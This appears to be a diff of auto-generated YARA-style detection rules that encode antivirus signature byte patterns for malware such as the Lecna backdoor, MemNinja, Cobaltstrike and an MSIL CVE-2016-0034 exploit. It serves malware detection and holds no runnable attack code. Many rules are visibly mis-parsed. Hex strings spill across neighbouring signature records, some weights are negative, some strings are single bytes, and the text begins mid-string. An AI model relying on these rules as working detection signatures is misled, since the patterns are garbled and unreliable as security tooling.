6d 66 61 72 74 65 72 01 00 1e 81 01 66 61 6b 74 61 73 20 6d 6f 74 69 76 65 72 69 6e 67 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_86_3 & 1)*0) >=4 + +} +rule _InfrastructureShared_9411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 56 31 32 33 21 4d 54 42 00 01 00 0b 81 01 61 6e 74 68 6f 6d 61 6e 69 61 63 01 00 09 81 01 73 63 65 6e 65 67 75 6c 76 01 00 16 81 01 75 70 72 75 73 68 69 6e 67 20 67 65 6e 6e 65 6d 66 61 72 74 } //18467 $a_00_1 = {1e } //29285 - $a_61_2 = {74 61 73 20 6d 6f 74 69 76 65 72 69 6e 67 65 72 73 20 74 6f 70 6f 67 72 61 66 73 00 00 78 86 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 36 34 46 69 6c 65 73 2e 41 00 01 00 0a 80 01 5c 49 44 45 53 4b 2e 45 58 45 01 00 0f 80 01 5c 49 53 41 46 45 54 4f } //385 - $a_2e_3 = {58 45 01 00 0e 80 01 5c 49 53 41 46 45 54 52 41 59 2e 45 58 45 01 00 0e 80 01 5c 49 53 41 46 45 53 56 43 32 2e 45 58 45 01 00 0d 80 01 5c 49 53 41 46 45 53 56 43 2e 45 58 45 00 00 78 86 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e } //19535 + $a_61_2 = {74 61 73 20 6d 6f 74 69 76 65 72 69 6e 67 65 72 73 20 74 6f 70 6f 67 72 61 66 73 00 00 78 86 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 4d 65 6d 4e 69 6e 6a 61 2e 41 00 01 00 16 03 8b 95 34 02 00 00 48 8b 8d 38 02 00 00 e8 90 01 04 48 89 05 90 00 01 00 13 01 48 8b 85 88 00 00 00 48 8b 00 } //385 + $a_48_3 = {89 85 88 06 01 00 12 01 48 8b 85 a8 00 00 00 48 8b 00 48 8b 8d a8 00 00 00 ff 01 00 1c 03 4c 8d 8d 48 03 00 00 4c 8b 85 d8 02 00 00 90 01 07 48 8b 8d 28 01 00 00 ff 95 90 00 00 00 78 86 00 00 } //-29880 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_61_2 & 1)*385+(#a_2e_3 & 1)*19535) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_61_2 & 1)*385+(#a_48_3 & 1)*-29880) >=4 } -rule _InfrastructureShared_8864{ +rule _InfrastructureShared_9412{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 4d 65 6d 4e 69 6e 6a 61 2e 41 00 01 00 16 03 8b 95 34 02 00 00 48 8b 8d 38 02 00 00 e8 90 01 04 48 89 05 90 00 01 00 13 01 48 8b 85 88 00 00 00 48 8b 00 48 8b 40 48 48 89 85 88 06 01 00 12 01 48 8b 85 a8 00 00 } //21283 + $a_00_1 = {48 8b 8d a8 00 00 00 ff 01 00 1c 03 4c 8d 8d 48 03 00 00 4c 8b 85 d8 02 00 00 90 01 07 48 8b 8d 28 01 00 00 ff 95 90 00 00 00 78 86 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 36 34 46 69 6c 65 73 2e 41 00 01 00 0a 80 01 5c 49 44 45 53 4b 2e 45 58 45 01 00 0f 80 01 5c 49 53 41 46 45 54 4f 4f 4c 53 2e 45 58 45 01 00 0e 80 01 5c 49 53 41 46 45 54 52 41 59 2e 45 } //18432 + $a_00_2 = {0e } //17752 + $a_49_3 = {41 46 45 53 56 43 32 2e 45 58 45 01 00 0d 80 01 5c 49 53 41 46 45 53 56 43 2e 45 58 45 00 00 78 86 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 48 61 6f 31 32 33 2e 4b 53 36 30 00 01 00 0a 80 01 68 61 6f 31 32 33 2e 63 6f 6d 01 00 0e 80 01 77 77 77 } //384 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*18432+(#a_00_2 & 1)*17752+(#a_49_3 & 1)*384) >=4 + +} +rule _InfrastructureShared_9413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 36 34 46 69 6c 65 73 2e 41 00 01 00 0a 80 01 5c 49 44 45 53 4b 2e 45 58 45 01 00 0f 80 01 5c 49 53 41 46 45 54 4f 4f 4c 53 2e 45 58 45 01 00 0e 80 01 5c 49 53 41 46 45 54 } //16675 $a_2e_1 = {58 45 01 00 0e 80 01 5c 49 53 41 46 45 53 56 43 32 2e 45 58 45 01 00 0d 80 01 5c 49 53 41 46 45 53 56 43 2e 45 58 45 00 00 78 86 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 48 61 6f 31 32 33 2e 4b 53 36 30 00 01 00 0a 80 01 68 61 6f 31 32 } //16722 - $a_6f_2 = {01 00 0e 80 01 77 77 77 2e 68 61 6f 31 32 33 2e 63 6f 6d 01 00 06 80 01 48 61 6f 44 4e 53 01 00 0f 80 01 39 32 34 37 35 38 39 30 5f 68 61 6f 5f 70 67 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 07 00 21 23 48 53 } //11827 - $a_42_3 = {63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 63 6e 61 00 01 00 12 01 47 45 54 20 2f 73 6f 6d 65 2f 65 64 69 68 2e 74 78 74 01 00 08 01 2a 6c 65 63 6e 61 43 2a 01 00 0e 01 5c } //21076 - $a_72_4 = {6e 74 48 61 6c 49 6e 66 01 00 07 01 41 53 44 46 47 48 3a 01 00 07 01 5a 58 43 56 42 4e 3a 01 00 08 01 51 57 45 52 54 59 3a 2f 01 00 08 01 54 59 55 49 4f 50 3a 2f 00 00 78 86 00 00 05 00 04 00 05 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 53 49 4c 2f 43 56 45 2d 32 30 31 36 2d 30 30 33 34 00 01 00 08 00 47 65 74 43 68 61 72 73 01 00 0c } //30019 + $a_6f_2 = {01 00 0e 80 01 77 77 77 2e 68 61 6f 31 32 33 2e 63 6f 6d 01 00 06 80 01 48 61 6f 44 4e 53 01 00 0f 80 01 39 32 34 37 35 38 39 30 5f 68 61 6f 5f 70 67 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 06 00 21 23 41 4c } //11827 + $a_55_3 = {41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 37 35 00 01 00 0a 80 01 4b 38 54 72 61 79 2e 65 78 65 01 00 08 80 01 54 72 61 79 4d 65 6e 75 01 00 06 80 01 4b 38 54 72 61 79 01 00 0a 80 01 54 72 61 79 54 69 } //14918 + $a_64_4 = {ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 63 6e 61 00 01 00 12 01 47 45 54 20 2f 73 6f 6d 65 2f 65 64 69 68 2e 74 78 74 01 00 08 01 2a 6c 65 63 6e 61 43 2a 01 00 0e 01 } //22384 condition: - ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*16722+(#a_6f_2 & 1)*11827+(#a_42_3 & 1)*21076+(#a_72_4 & 1)*30019) >=4 + ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*16722+(#a_6f_2 & 1)*11827+(#a_55_3 & 1)*14918+(#a_64_4 & 1)*22384) >=4 } -rule _InfrastructureShared_8865{ +rule _InfrastructureShared_9414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 48 61 6f 31 32 33 2e 4b 53 36 30 00 01 00 0a 80 01 68 61 6f 31 32 33 2e 63 6f 6d 01 00 0e 80 01 77 77 77 2e 68 61 6f 31 32 33 2e 63 6f 6d 01 00 06 80 01 48 61 6f 44 4e 53 01 00 0f 80 01 39 32 34 37 } //16675 - $a_30_1 = {68 61 6f 5f 70 67 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 07 00 21 23 48 53 54 52 } //14389 - $a_63_2 = {64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 63 6e 61 00 01 00 12 01 47 45 54 20 2f 73 6f 6d 65 2f 65 64 69 68 2e 74 78 74 01 00 08 01 2a 6c 65 63 6e 61 43 2a 01 00 0e 01 5c 43 75 72 72 65 6e 74 48 61 6c 49 6e 66 01 00 07 01 41 53 44 46 47 48 3a 01 00 07 01 5a 58 43 56 42 4e 3a 01 00 08 01 51 57 } //16954 - $a_59_3 = {2f 01 00 08 01 54 59 55 49 4f 50 3a 2f 00 00 78 86 00 00 05 00 04 00 05 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 53 49 4c 2f 43 56 45 2d 32 30 31 36 2d 30 30 33 34 00 01 00 08 00 47 65 74 43 68 61 72 73 01 00 0c 00 42 69 6e 61 72 79 52 65 61 64 } //21061 - $a_00_4 = {0c } //29285 - $a_46_5 = {45 6e 63 6f 64 69 6e 67 01 00 0a 00 47 65 74 44 65 63 6f 64 65 72 01 00 1f 02 25 0b 17 58 7d 90 01 03 04 07 0c 08 45 02 00 00 00 90 01 01 00 00 00 90 01 01 00 00 00 90 00 00 00 78 86 00 00 05 00 05 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //21760 + $a_30_1 = {68 61 6f 5f 70 67 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a } //14389 + $a_41_2 = {76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 37 35 00 01 00 0a 80 01 4b 38 54 72 61 79 2e 65 78 65 01 00 08 80 01 54 72 61 79 4d 65 6e 75 01 00 06 80 01 4b 38 54 72 } //21840 + $a_00_3 = {0a } //31073 + $a_72_4 = {79 54 69 70 57 6e 64 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 63 6e 61 00 01 00 12 01 } //384 + $a_20_5 = {73 6f 6d 65 2f 65 64 69 68 2e 74 78 74 01 00 08 01 2a 6c 65 63 6e 61 43 2a 01 00 0e 01 5c 43 75 72 72 65 6e 74 48 61 6c 49 6e 66 01 00 07 01 41 53 44 46 47 48 3a 01 00 07 01 5a 58 43 56 42 4e 3a 01 00 08 01 51 57 45 52 54 59 3a 2f 01 00 08 01 54 59 55 } //17735 condition: - ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*14389+(#a_63_2 & 1)*16954+(#a_59_3 & 1)*21061+(#a_00_4 & 1)*29285+(#a_46_5 & 1)*21760) >=4 + ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*14389+(#a_41_2 & 1)*21840+(#a_00_3 & 1)*31073+(#a_72_4 & 1)*384+(#a_20_5 & 1)*17735) >=4 } -rule _InfrastructureShared_8866{ +rule _InfrastructureShared_9415{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 37 35 00 01 00 0a 80 01 4b 38 54 72 61 79 2e 65 78 65 01 00 08 80 01 54 72 61 79 4d 65 6e 75 01 00 06 80 01 4b 38 54 72 61 79 01 00 0a 80 } //16675 + $a_61_1 = {54 69 70 57 6e 64 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4c 65 63 6e 61 00 01 00 12 01 47 45 54 20 2f 73 6f 6d 65 2f 65 64 69 68 2e 74 78 74 01 00 08 01 2a 6c 65 63 6e 61 43 2a 01 } //21505 + $a_5c_2 = {75 } //3584 u + $a_6e_3 = {48 61 6c 49 6e 66 01 00 07 01 41 53 44 46 47 48 3a 01 00 07 01 5a 58 43 56 42 4e 3a 01 00 08 01 51 57 45 52 54 59 3a 2f 01 00 08 01 54 59 55 49 4f 50 3a 2f 00 00 78 86 00 00 05 00 04 00 05 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4d 53 49 4c 2f 43 56 45 2d 32 30 31 36 2d 30 30 33 34 00 01 00 08 00 } //29298 + $a_43_4 = {61 72 73 01 00 0c 00 42 69 6e 61 72 79 52 65 61 64 65 72 01 00 0c 00 55 54 46 38 45 6e 63 6f 64 69 6e 67 01 00 0a 00 47 65 74 44 65 63 6f 64 65 72 01 00 1f 02 25 0b 17 58 7d 90 01 03 04 07 0c 08 45 02 00 00 00 90 01 01 00 00 00 90 01 01 00 00 00 90 00 00 00 78 86 00 00 05 00 05 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 } //25927 + $a_74_5 = {6e 6a 65 63 74 2e 59 4a 21 4d 54 42 00 05 00 54 03 8b 12 03 55 90 01 01 03 c2 8b 55 90 01 01 89 02 6a 90 01 01 e8 90 01 04 8b 55 90 01 01 03 55 90 01 01 03 55 90 01 01 03 c2 8b 55 90 01 01 31 02 83 45 90 01 02 6a 90 01 01 e8 90 01 04 83 c0 90 01 01 01 45 90 01 01 8b 45 90 01 01 3b 45 90 01 01 72 90 00 00 00 78 86 00 00 05 00 05 00 02 } //31090 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*21505+(#a_5c_2 & 1)*3584+(#a_6e_3 & 1)*29298+(#a_43_4 & 1)*25927+(#a_74_5 & 1)*31090) >=4 + +} +rule _InfrastructureShared_9416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -94730,7 +100712,7 @@ rule _InfrastructureShared_8866{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*14920+(#a_43_2 & 1)*23041+(#a_61_3 & 1)*26946+(#a_74_4 & 1)*25962+(#a_00_5 & 1)*0+(#a_4c_6 & 1)*21539) >=4 } -rule _InfrastructureShared_8867{ +rule _InfrastructureShared_9417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 05 00 21 " @@ -94743,7 +100725,7 @@ rule _InfrastructureShared_8867{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*26478+(#a_74_2 & 1)*18176+(#a_8b_3 & 1)*769) >=4 } -rule _InfrastructureShared_8868{ +rule _InfrastructureShared_9418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -94753,7 +100735,7 @@ rule _InfrastructureShared_8868{ ((#a_46_0 & 1)*21283) >=5 } -rule _InfrastructureShared_8869{ +rule _InfrastructureShared_9419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -94764,7 +100746,7 @@ rule _InfrastructureShared_8869{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*400) >=5 } -rule _InfrastructureShared_8870{ +rule _InfrastructureShared_9420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -94776,7 +100758,7 @@ rule _InfrastructureShared_8870{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*14915+(#a_62_4 & 1)*29300) >=5 } -rule _InfrastructureShared_8871{ +rule _InfrastructureShared_9421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -94790,7 +100772,7 @@ rule _InfrastructureShared_8871{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*14130+(#a_52_2 & 1)*21320+(#a_01_3 & 1)*25441+(#a_67_4 & 1)*26990) >=5 } -rule _InfrastructureShared_8872{ +rule _InfrastructureShared_9422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -94803,7 +100785,7 @@ rule _InfrastructureShared_8872{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27760+(#a_73_2 & 1)*27746+(#a_74_3 & 1)*25959) >=5 } -rule _InfrastructureShared_8873{ +rule _InfrastructureShared_9423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -94816,7 +100798,7 @@ rule _InfrastructureShared_8873{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25966+(#a_86_2 & 1)*0+(#a_61_4 & 1)*385) >=5 } -rule _InfrastructureShared_8874{ +rule _InfrastructureShared_9424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -94832,7 +100814,7 @@ rule _InfrastructureShared_8874{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13620+(#a_32_2 & 1)*28265+(#a_65_3 & 1)*27758+(#a_74_4 & 1)*27760+(#a_a3_5 & 1)*-32509+(#a_00_6 & 1)*30720) >=7 } -rule _InfrastructureShared_8875{ +rule _InfrastructureShared_9425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -94845,7 +100827,7 @@ rule _InfrastructureShared_8875{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*27769+(#a_18_3 & 1)*-20479+(#a_52_6 & 1)*21320) >=7 } -rule _InfrastructureShared_8876{ +rule _InfrastructureShared_9426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -94866,7 +100848,7 @@ rule _InfrastructureShared_8876{ ((#a_46_0 & 1)*21283+(#a_a3_1 & 1)*-32509+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720+(#a_00_9 & 1)*30720+(#a_00_10 & 1)*30720+(#a_00_11 & 1)*30720) >=8 } -rule _InfrastructureShared_8877{ +rule _InfrastructureShared_9427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 04 00 21 " @@ -94879,7 +100861,7 @@ rule _InfrastructureShared_8877{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29283+(#a_00_2 & 1)*-15231+(#a_00_3 & 1)*-15231) >=9 } -rule _InfrastructureShared_8878{ +rule _InfrastructureShared_9428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -94896,7 +100878,7 @@ rule _InfrastructureShared_8878{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*-32511+(#a_4c_2 & 1)*21325+(#a_04_3 & 1)*-28532+(#a_04_4 & 1)*6181+(#a_18_5 & 1)*-25577+(#a_65_6 & 1)*29806+(#a_13_8 & 1)*-512) >=9 } -rule _InfrastructureShared_8879{ +rule _InfrastructureShared_9429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -94906,7 +100888,7 @@ rule _InfrastructureShared_8879{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8880{ +rule _InfrastructureShared_9430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -94916,7 +100898,7 @@ rule _InfrastructureShared_8880{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8881{ +rule _InfrastructureShared_9431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -94927,7 +100909,7 @@ rule _InfrastructureShared_8881{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*2311) >=10 } -rule _InfrastructureShared_8882{ +rule _InfrastructureShared_9432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -94937,7 +100919,7 @@ rule _InfrastructureShared_8882{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8883{ +rule _InfrastructureShared_9433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -94949,7 +100931,7 @@ rule _InfrastructureShared_8883{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*4356+(#a_00_2 & 1)*11528) >=12 } -rule _InfrastructureShared_8884{ +rule _InfrastructureShared_9434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -94961,7 +100943,7 @@ rule _InfrastructureShared_8884{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28424+(#a_01_2 & 1)*19758) >=12 } -rule _InfrastructureShared_8885{ +rule _InfrastructureShared_9435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -94973,7 +100955,7 @@ rule _InfrastructureShared_8885{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32758+(#a_73_2 & 1)*24940) >=12 } -rule _InfrastructureShared_8886{ +rule _InfrastructureShared_9436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -94986,7 +100968,7 @@ rule _InfrastructureShared_8886{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21248+(#a_73_2 & 1)*20992+(#a_6f_3 & 1)*3226) >=14 } -rule _InfrastructureShared_8887{ +rule _InfrastructureShared_9437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -95000,7 +100982,7 @@ rule _InfrastructureShared_8887{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21248+(#a_2b_2 & 1)*0+(#a_d1_3 & 1)*27022+(#a_72_4 & 1)*14930) >=14 } -rule _InfrastructureShared_8888{ +rule _InfrastructureShared_9438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -95011,7 +100993,7 @@ rule _InfrastructureShared_8888{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*1555) >=15 } -rule _InfrastructureShared_8889{ +rule _InfrastructureShared_9439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -95026,7 +101008,7 @@ rule _InfrastructureShared_8889{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29813+(#a_73_2 & 1)*21248+(#a_da_3 & 1)*1026+(#a_00_4 & 1)*27234+(#a_73_5 & 1)*24436) >=15 } -rule _InfrastructureShared_8890{ +rule _InfrastructureShared_9440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " @@ -95038,7 +101020,7 @@ rule _InfrastructureShared_8890{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28532+(#a_00_2 & 1)*144) >=20 } -rule _InfrastructureShared_8891{ +rule _InfrastructureShared_9441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95048,7 +101030,7 @@ rule _InfrastructureShared_8891{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8892{ +rule _InfrastructureShared_9442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95058,7 +101040,7 @@ rule _InfrastructureShared_8892{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8893{ +rule _InfrastructureShared_9443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95068,7 +101050,7 @@ rule _InfrastructureShared_8893{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8894{ +rule _InfrastructureShared_9444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95078,7 +101060,7 @@ rule _InfrastructureShared_8894{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8895{ +rule _InfrastructureShared_9445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95088,7 +101070,7 @@ rule _InfrastructureShared_8895{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8896{ +rule _InfrastructureShared_9446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95098,7 +101080,7 @@ rule _InfrastructureShared_8896{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8897{ +rule _InfrastructureShared_9447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95108,7 +101090,7 @@ rule _InfrastructureShared_8897{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8898{ +rule _InfrastructureShared_9448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95118,7 +101100,7 @@ rule _InfrastructureShared_8898{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8899{ +rule _InfrastructureShared_9449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95128,7 +101110,7 @@ rule _InfrastructureShared_8899{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8900{ +rule _InfrastructureShared_9450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95138,7 +101120,7 @@ rule _InfrastructureShared_8900{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8901{ +rule _InfrastructureShared_9451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -95148,7 +101130,17 @@ rule _InfrastructureShared_8901{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8902{ +rule _InfrastructureShared_9452{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 49 44 53 21 4d 54 42 00 01 00 53 03 41 8b 54 39 90 01 01 41 8b c0 c1 e0 90 01 01 41 8b c8 c1 e9 90 01 01 33 c8 41 8b c2 2b d1 83 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_9453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95159,7 +101151,7 @@ rule _InfrastructureShared_8902{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*13155) >=1 } -rule _InfrastructureShared_8903{ +rule _InfrastructureShared_9454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95170,7 +101162,7 @@ rule _InfrastructureShared_8903{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*13411) >=1 } -rule _InfrastructureShared_8904{ +rule _InfrastructureShared_9455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95181,7 +101173,7 @@ rule _InfrastructureShared_8904{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*12848) >=1 } -rule _InfrastructureShared_8905{ +rule _InfrastructureShared_9456{ meta: description = 